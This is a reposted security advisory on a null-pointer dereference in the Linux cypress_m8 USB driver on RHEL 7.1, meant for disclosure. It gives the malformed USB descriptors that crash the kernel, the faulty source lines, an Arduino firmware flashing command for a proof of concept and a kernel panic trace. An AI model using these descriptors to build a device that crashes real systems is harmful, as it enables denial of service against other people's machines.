2016 m. kovo 11 d., penktadienis

OS-S 2016-07 Linux cypress_m8 Nullpointer Dereference P1

OS-S Security Advisory 2016-07
Linux cypress_m8 Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (cypress_m8 driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of Advisory: https://os-s.net/advisories/OSS-2016-07_cypress_m8.pdf


Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device which requires the requiring the cypress_m8 driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0x3
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x4b4
          idProduct:                    0x5500
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1



This is the configuration descriptor containing only one interrupt-endpoint-
descriptor (IN-direction).
The cypress_m8 driver assumes that there will be at least two endpoint-
descriptors configured for interrupt-transfer and each used for one direction.
Since there is no sanity check, it is possible that the kernel tries to
dereference a null-pointer.
This results in a crash of the system.



****
$ nm cypress_m8.ko.debug | grep cypress_generic_port_probe
00000000000008d0 t cypress_generic_port_probe
$ addr2line -e cypress_m8.ko.debug 0x9D0
/usr/src/debug/kernel-3.10.0-
229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/cypress_m8.c:488
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/cypress_m8.c)
        ...
482 if (interval > 0) {
483     priv->write_urb_interval = interval;
484     priv->read_urb_interval = interval;
485     dev_dbg(&port->dev, "%s - read & write intervals forced to %d\n",
486         __func__, interval);
487 } else {
488     priv->write_urb_interval = port->interrupt_out_urb->interval; /*
possible null-pointer dereference */
489     priv->read_urb_interval = port->interrupt_in_urb->interval; /*
possible null-pointer dereference */
490     dev_dbg(&port->dev, "%s - intervals: read=%d write=%d\n",
491         __func__, priv->read_urb_interval,
492         priv->write_urb_interval);
493 }
        ...
****


                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x3
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81     IN-Direction
                                  bmAttribut:                   0x3      Interrupt-Transfer
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x1     OUT-Direction
                                  bmAttribut:                   0x2     Bulk-Transfer
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x82    IN-Direction
                                  bmAttribut:                   0x1     Bulk-Transfer
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283368


Kernel Stacktrace:


[   40.138619] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   40.366581] usb 1-1: New USB device found, idVendor=04b4, idProduct=5500
[   40.373039] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[   40.381857] usb 1-1: Product: ĉ
[   40.385232] usb 1-1: Manufacturer: ĉ
[   40.389227] usb 1-1: SerialNumber: %
[   40.397815] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc
says 96 microframes
[   40.457689] usbcore: registered new interface driver cypress_m8
[   40.469365] usbserial: USB Serial support registered for DeLorme Earthmate
USB
[   40.480135] usbserial: USB Serial support registered for HID->COM RS232
Adapter
[   40.494974] usbserial: USB Serial support registered for Nokia CA-42 V2
Adapter
[   40.502183] cypress_m8 1-1:1.0: HID->COM RS232 Adapter converter detected
[   40.512683] BUG: unable to handle kernel NULL pointer dereference at
00000000000000a8
[   40.513393] IP: [<ffffffffa03939d0>] cypress_generic_port_probe+0x100/0x1a0
[cypress_m8]
[   40.513393] PGD 0
[   40.513393] Oops: 0000 [#1] SMP
[   40.513393] Modules linked in: cypress_m8(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   40.513393] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[   40.513393] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   40.513393] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   40.513393] RIP: 0010:[<ffffffffa03939d0>]  [<ffffffffa03939d0>]
cypress_generic_port_probe+0x100/0x1a0 [cypress_m8]
[   40.513393] RSP: 0018:ffff88000bd238d0  EFLAGS: 00010246
[   40.513393] RAX: 0000000000000000 RBX: ffff88000c5149c0 RCX: ffff88000bd23fd8
[   40.513393] RDX: 0000000000000000 RSI: ffffffff81447840 RDI: ffff88000aeff040
[   40.513393] RBP: ffff88000bd238f0 R08: 0000000000000000 R09: ffff88000fc16380
[   40.513393] R10: ffffea000030eb00 R11: ffffffff8141968b R12: ffff88000bcd3800
[   40.513393] R13: 0000000000000000 R14: ffff88000bcd3ab0 R15: ffffffffa0396200
[   40.513393] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[   40.513393] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   40.513393] CR2: 00000000000000a8 CR3: 000000000c572000 CR4:
00000000000006f0
[   40.513393] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[   40.513393] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   40.513393] Stack:
[   40.513393]  ffff88000bcd3ab0 ffff88000bcd3800 ffff88000bcd3800 ffffffffa0396200
[   40.513393]  ffff88000bd23910 ffffffffa0393b04 ffff88000bcd3ab0 0000000000000000
[   40.513393]  ffff88000bd23940 ffffffff81461cf6 ffff88000bcd3ab0 ffff88000bcd3ab0
[   40.513393] Call Trace:
[   40.513393]  [<ffffffffa0393b04>] cypress_hidcom_port_probe+0x14/0x80
[cypress_m8]
[   40.513393]  [<ffffffff81461cf6>] usb_serial_device_probe+0x56/0x110
[   40.513393]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   40.513393]  [<ffffffff813d33e0>] ? driver_probe_device+0x390/0x390
[   40.513393]  [<ffffffff813d341b>] __device_attach+0x3b/0x40
[   40.513393]  [<ffffffff813d0f1b>] bus_for_each_drv+0x6b/0xb0
[   40.513393]  [<ffffffff813d2fd8>] device_attach+0x88/0xa0
[   40.513393]  [<ffffffff813d22d8>] bus_probe_device+0x98/0xc0
[   40.513393]  [<ffffffff813cfd64>] device_add+0x4c4/0x7a0
[   40.513393]  [<ffffffff81460243>] usb_serial_probe+0x1123/0x1230
[   40.513393]  [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[   40.513393]  [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[   40.513393]  [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[   40.513393]  [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[   40.513393]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   40.513393]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   40.513393]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   40.513393]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   40.513393]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   40.513393]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   40.513393]  [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[   40.513393]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[   40.513393]  [<ffffffffa039901e>] usb_serial_module_init+0x1e/0x1000
[cypress_m8]
[   40.513393]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   40.513393]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   40.513393]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   40.513393]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   40.513393]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   40.513393]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   40.513393] Code: 03 e1 41 c7 84 24 38 01 00 00 00 01 00 00 5b 41 5c 44 89
e8 41 5d 41 5e 5d c3 90 49 8b 84 24 78 01 00 00 4d 8d b4 24 b0 02 00 00 <44>
8b 88 a8 00 00 00 44 89 4b 34 49 8b 84 24 58 01 00 00 44 8b
[   40.513393] RIP  [<ffffffffa03939d0>] cypress_generic_port_probe+0x100/0x1a0
[cypress_m8]
[   40.513393]  RSP <ffff88000bd238d0>
[   40.513393] CR2: 00000000000000a8
[   41.005529] ---[ end trace b239663354a1c556 ]---
[   41.010284] Kernel panic - not syncing: Fatal exception
[   41.011253] drm_kms_helper: panic occurred, switching back to text console


Komentarų nėra:

Rašyti komentarą